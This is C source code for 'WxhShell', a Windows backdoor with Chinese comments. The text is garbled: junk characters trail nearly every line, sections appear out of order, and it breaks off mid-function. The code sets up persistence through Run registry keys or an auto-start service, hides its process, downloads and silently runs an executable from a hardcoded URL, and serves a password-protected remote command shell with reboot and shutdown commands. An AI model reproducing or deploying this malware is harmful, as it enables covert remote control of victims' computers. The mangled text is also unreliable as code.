ULONG UniqueProcessId; ~% hdy@
ULONG InheritedFromUniqueProcessId; *miG<
} PROCESS_BASIC_INFORMATION; #ydold{F
#J5BHY~
PROCNTQSIP NtQueryInformationProcess; [hJ1]RW8
6fwNlC/9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 01bCP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Dg-;I
Rq4;{a/j
HANDLE hProcess; >Wg=
Tuef
PROCESS_BASIC_INFORMATION pbi; Y#U.9>h
9t! d.}
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?y>N&\pt2
if(NULL == hInst ) return 0; g/?Vl2W
j*=!M# D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @uSO~.7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jcw^Z,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6#w>6g4V~R
G,8mFH
if (!NtQueryInformationProcess) return 0; QE<Z@/V*a
OqGp|`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (qcFGM22U
if(!hProcess) return 0; $C16}^
OT#@\/>
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +)jUA]hJ/
Fwm$0=BXL
CloseHandle(hProcess); z*3b2nV
b3NIFKw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,%i
Scr,z
if(hProcess==NULL) return 0; T2{e1 =Z7
V:0IBbh)w
HMODULE hMod; }_Bo:*9B-o
char procName[255]; lH fZw})d
unsigned long cbNeeded; cS&KD@.
O7.V>7Y9H
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UlXm4\@
9~p;iiKGG
CloseHandle(hProcess); EPo)7<|>
AvL /gt:
if(strstr(procName,"services")) return 1; // 以服务启动 %$BRQ-O
!&)X5oJ
return 0; // 注册表启动 " <bjS
} ]+lT*6P*
(6%T~|a
// 主模块 3j#VKj+Uc
int StartWxhshell(LPSTR lpCmdLine) H4i}gdR
{ XY0kd&N8
SOCKET wsl; 3
98)\3o
BOOL val=TRUE; UrniJB]
int port=0; :kZ]Swi 5
struct sockaddr_in door; *h^->+0n
lM-\:Q!
if(wscfg.ws_autoins) Install(); \e
a*
Quth5
port=atoi(lpCmdLine); lL}6IZ5sb
6:_~-xG
if(port<=0) port=wscfg.ws_port; g4W$MI
vc#o(?g
WSADATA data; b[vE!lJEq
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rtf<UhUn
u5CSx'h]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %Z;RY5
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T!
}G51
door.sin_family = AF_INET; /N0mF< P
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Owp]>e
door.sin_port = htons(port); f,YORJ
v]JET9hY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <5Vf3KoC&
closesocket(wsl); BKFO^
return 1; #v
c+;`X
} ,Wtw0)4
$.,PteYK
if(listen(wsl,2) == INVALID_SOCKET) { j;$f[@0o
closesocket(wsl); ,~L*N*ML
return 1; \Y xG
} l@Lk+-[D
Wxhshell(wsl); +m_.?V6
WSACleanup(); V .Kjcy
a$W
O}g?
return 0; 'm0WPS/6E
t/i*.>7
} ?!ap@)9
Ust +g4
// 以NT服务方式启动 :GvC#2p
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U<6)CW1;
{ GzEw~JAs
DWORD status = 0; c<13 r=+
DWORD specificError = 0xfffffff; l6zAMyau5
EXdX%T\
serviceStatus.dwServiceType = SERVICE_WIN32; ^%oH LsY9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; h(WlJCln
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <n_?$ TJ
serviceStatus.dwWin32ExitCode = 0; Uahh|>s
serviceStatus.dwServiceSpecificExitCode = 0; Q-) ( s
serviceStatus.dwCheckPoint = 0; NbWEP\dS'z
serviceStatus.dwWaitHint = 0; v9T3=
hyxv+m[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \ZnA%hC
if (hServiceStatusHandle==0) return; `=Mk6$%Cs
5|0}bv O
status = GetLastError(); n3e,vP? R
if (status!=NO_ERROR) x.t<@y~
{ ;apLMMsWC
serviceStatus.dwCurrentState = SERVICE_STOPPED; g.\b@0Uy'
serviceStatus.dwCheckPoint = 0; U& GPede
serviceStatus.dwWaitHint = 0; mmQC9nZ
serviceStatus.dwWin32ExitCode = status; tFcQ.1
serviceStatus.dwServiceSpecificExitCode = specificError; H
Qj,0#J)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l(Y32]Z
return; 03?ADjO
} 'q}Ud10c
6I[*p0j5
serviceStatus.dwCurrentState = SERVICE_RUNNING; hLfWDf*T|
serviceStatus.dwCheckPoint = 0; _Q:ot'(~0-
serviceStatus.dwWaitHint = 0; Gn7\4,C
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JP!e'oWxi
} 2?(/$F9X,
7]@M
// 处理NT服务事件,比如:启动、停止 I
N@ ~~
VOID WINAPI NTServiceHandler(DWORD fdwControl) oD%n}
{ Qfe u3AT
switch(fdwControl) Sh;`<Ggi~
{ QAI=nrlp
case SERVICE_CONTROL_STOP: yS)k"XNb
serviceStatus.dwWin32ExitCode = 0; W'Gh:73'}
serviceStatus.dwCurrentState = SERVICE_STOPPED; !yg &zzP*
serviceStatus.dwCheckPoint = 0; uWGp>;m eO
serviceStatus.dwWaitHint = 0; t<`wK8)
{ i K@RQi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 U%t
} +%CXc%
return; |yNyk7~
case SERVICE_CONTROL_PAUSE: kFJ]F |^7
serviceStatus.dwCurrentState = SERVICE_PAUSED; Z=hn}QY.(
break; 2C0j.Ib
case SERVICE_CONTROL_CONTINUE: 0r@LA|P
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1`II%mf[
break; x8z6 <
case SERVICE_CONTROL_INTERROGATE: ldG8hK
break; HH*,Oe
}; B'Nvl#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `zs@W
} h*4wi.-
?,v@H$)3_
// 标准应用程序主函数 3b?-83a
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aorL ,l
{ WbFCj0
+=`w
// 获取操作系统版本 3F6'3NvVc2
OsIsNt=GetOsVer(); qvsfU*wo?
GetModuleFileName(NULL,ExeFile,MAX_PATH); w6 Y+Y;,'f
,0L< wa
// 从命令行安装 M/[9ZgDc
if(strpbrk(lpCmdLine,"iI")) Install(); (1,4egMpR
E?0RR'
// 下载执行文件 Kd#64NSi$A
if(wscfg.ws_downexe) { ~9fTs4U
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G4F~V't
WinExec(wscfg.ws_filenam,SW_HIDE); wMH13i3
} Rlr[uU_
EU5(s*A
if(!OsIsNt) { ,!~U5~
// 如果时win9x,隐藏进程并且设置为注册表启动 ^J?2[(
HideProc(); a(U/70j
StartWxhshell(lpCmdLine); XF4NRs
} I#yd/d5^
else lKirc2
if(StartFromService()) V6<Ki
// 以服务方式启动 TI'~K}Te
StartServiceCtrlDispatcher(DispatchTable); |?fc]dl1]
else KbRKPA`
// 普通方式启动 =66,$~g{
StartWxhshell(lpCmdLine); 4_eFc$^
-}JRsQ+rgM
return 0; ~m'8BK
} I8hmn@ce
a'@?c_y;$
H~qY7t
k.0pPl
=========================================== DB1Y`l
LD5E
RA62Z&W3
XG6UV('
7w"YCRKh
{'
|yb
" T|nN.
[TpW$E0H
#include <stdio.h> #lm1"~`5
#include <string.h> 7W#9ki1
#include <windows.h> j@s,5:;[
#include <winsock2.h> \-s'H:
#include <winsvc.h> 3412znM&
#include <urlmon.h> "V_PWEi
_bq2h%G=8
#pragma comment (lib, "Ws2_32.lib") Eh;~y*k\
#pragma comment (lib, "urlmon.lib") 785Y*.p
q}R"
#define MAX_USER 100 // 最大客户端连接数 }oTac
#define BUF_SOCK 200 // sock buffer ~&IL>2-B
#define KEY_BUFF 255 // 输入 buffer E~!FEl;
-1u N
Z{0
#define REBOOT 0 // 重启 Z.0^:rVp~
#define SHUTDOWN 1 // 关机 >G+?X+9
*SZ*S%oS3
#define DEF_PORT 5000 // 监听端口 6{I5 23g
K31rt-IIt
#define REG_LEN 16 // 注册表键长度 aKCXV[PO
#define SVC_LEN 80 // NT服务名长度 A&0sD}I\K
Uz!cVs?-
// 从dll定义API 7,"1%^tU
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xF{<-b
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,
v6[#NU_Z
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ex2*oqAdX
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 86@@j*c(@k
)Nq$~aAm
// wxhshell配置信息 yyHr. C
struct WSCFG { 5B(r[Ni
b
int ws_port; // 监听端口 J`3pXc$.
char ws_passstr[REG_LEN]; // 口令 UIv
2wA2
int ws_autoins; // 安装标记, 1=yes 0=no Z-j%``I?h
char ws_regname[REG_LEN]; // 注册表键名 pr-!otz
char ws_svcname[REG_LEN]; // 服务名 |5,q54d(K
char ws_svcdisp[SVC_LEN]; // 服务显示名 Wc_Ph40C<_
char ws_svcdesc[SVC_LEN]; // 服务描述信息 8YBsYKC
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F3a"SKMW
int ws_downexe; // 下载执行标记, 1=yes 0=no 1<qq6 9x
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^Q_0Zq^H
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *%cI,}%
O@_)]z?jUc
}; sOW-GWSE<
#H1yjJQ /x
// default Wxhshell configuration )P.|Xk:r
struct WSCFG wscfg={DEF_PORT, B|~\m~
"xuhuanlingzhe", D`.CXFI+U
1, Efw/bTEg
"Wxhshell", Z;i^h,j?$1
"Wxhshell", UeT"v?zP
"WxhShell Service", P>kS$U)
"Wrsky Windows CmdShell Service", XH2g:$
"Please Input Your Password: ", R16"lG
1, T ,gMc
"http://www.wrsky.com/wxhshell.exe", ]?Ru~N}
"Wxhshell.exe" g;bkVq
}; 4S.%y7d\
NzRL(A6V
// 消息定义模块 rReZ$U
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I)O-i_}L&K
char *msg_ws_prompt="\n\r? for help\n\r#>";
*Qg/W?"m
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kF.PLn'iS
char *msg_ws_ext="\n\rExit."; ? P`]^#
char *msg_ws_end="\n\rQuit."; te'<xfG
char *msg_ws_boot="\n\rReboot..."; QkzPzbF"
char *msg_ws_poff="\n\rShutdown..."; `&>!a
char *msg_ws_down="\n\rSave to "; YrgwR
f.'o4HSj
char *msg_ws_err="\n\rErr!"; ./ib{ @A.
char *msg_ws_ok="\n\rOK!"; ^QV;[ha,o
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char ExeFile[MAX_PATH]; W~Mj6c~S"
int nUser = 0; t/S~CIA
HANDLE handles[MAX_USER]; mnXaf)"
int OsIsNt; H,=??wN
DjL(-7'p
SERVICE_STATUS serviceStatus; '&T4ryq3"
SERVICE_STATUS_HANDLE hServiceStatusHandle; lTdYPqMi
r"rID
RQ"
// 函数声明 )CXJRo`j0
int Install(void); |g4!Yd
int Uninstall(void); c#`Z[
int DownloadFile(char *sURL, SOCKET wsh); y)#Ib*?
int Boot(int flag); :d!.E$S
void HideProc(void); J/wot,j^
int GetOsVer(void); JVTG3:zD
int Wxhshell(SOCKET wsl); 2@ACmh
void TalkWithClient(void *cs); R_4600
int CmdShell(SOCKET sock); G m<t2Csn
int StartFromService(void); .6OE8w
1
int StartWxhshell(LPSTR lpCmdLine); D@4hQC\
n2Ycq&O
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '1r:z, o|
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v=SC*
<h7C_^L10\
// 数据结构和表定义 rMf& HX
SERVICE_TABLE_ENTRY DispatchTable[] = eVbHPu4
{ a50{ gb#
{wscfg.ws_svcname, NTServiceMain}, Z^`>;n2
{NULL, NULL} &&(sZGw
}; Q} f=Ye(&}
"vjz $.
// 自我安装 v D}y%}
int Install(void) m[ txKj.=_
{ 7=mU["raz`
char svExeFile[MAX_PATH]; r#3_F=xL5
HKEY key; q^goi1
strcpy(svExeFile,ExeFile); \\x``*
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// 如果是win9x系统,修改注册表设为自启动 kV6T#RVob
if(!OsIsNt) { aLuxCobV
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,T jd
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y R#_<o
RegCloseKey(key); qV^,muyoG
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i v&:X3iB
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gv6EJV1i
RegCloseKey(key); eH=lX9
return 0; ;l5F
il,3
} 0D:J d6\
} g5X+iV
} Y-@K@Zu]?
else { ;VYL7Xu](
4wMKl6mL
// 如果是NT以上系统,安装为系统服务 [|xHXcW
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &D>e>]E|P
if (schSCManager!=0) [L]
ca*
{ 4vW:xK
SC_HANDLE schService = CreateService u0#q)L8
( D*DCMMp=0
schSCManager, HpuHJ#l
wscfg.ws_svcname, GmPNzHDb
wscfg.ws_svcdisp, AAxY{Z-4
SERVICE_ALL_ACCESS, NHPpHY3^.
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -?&wD["y
SERVICE_AUTO_START, }*hY#jo1
SERVICE_ERROR_NORMAL, IdUMoLL?
svExeFile, 8@|+-)t
NULL, 2Do^N5y
NULL, c*9RzD#Zj
NULL, Pj8s;#~u
NULL, QROe+:
NULL o2@8w[r
); 959&I0=g"
if (schService!=0) @w[WG:-+
{ (SfP3
CloseServiceHandle(schService); 8h78Zb&[
CloseServiceHandle(schSCManager); ,Si\ky7L
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3YR6@*!f/
strcat(svExeFile,wscfg.ws_svcname); 1%G<gbHpI
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >w9fFm!Q
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j,8*Z~\5
RegCloseKey(key); l=`)yc.
return 0; KxqT5`P&
} Ge8&_7
} & G@(f=
CloseServiceHandle(schSCManager); qDxz`}Ly=
} 4~53%=+
} fJtJ2x i
P>z k
return 1; [#fXmW>N/
} n6ETWjP
l[.*X
// 自我卸载 ?<YtlqL
int Uninstall(void) wciYv,
{ :+|b7fF
HKEY key; ?>N82#9Q
..X efNbl
if(!OsIsNt) { ;``*]tY$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yb2*K+Kv
RegDeleteValue(key,wscfg.ws_regname); kzZtKN9Az
RegCloseKey(key); |{k;pfPV
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VZ&>zF
RegDeleteValue(key,wscfg.ws_regname); ?D/r1%Z
RegCloseKey(key); X's-i!
return 0; z%Ywjfn'
} Z~F% K~(
} 5YUn{qtD
} E1_FK1*V;
else { ,-ZAI b*
?d-(M' v.
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dGAthbWJ
if (schSCManager!=0) !ge,]@/
{ %@'9<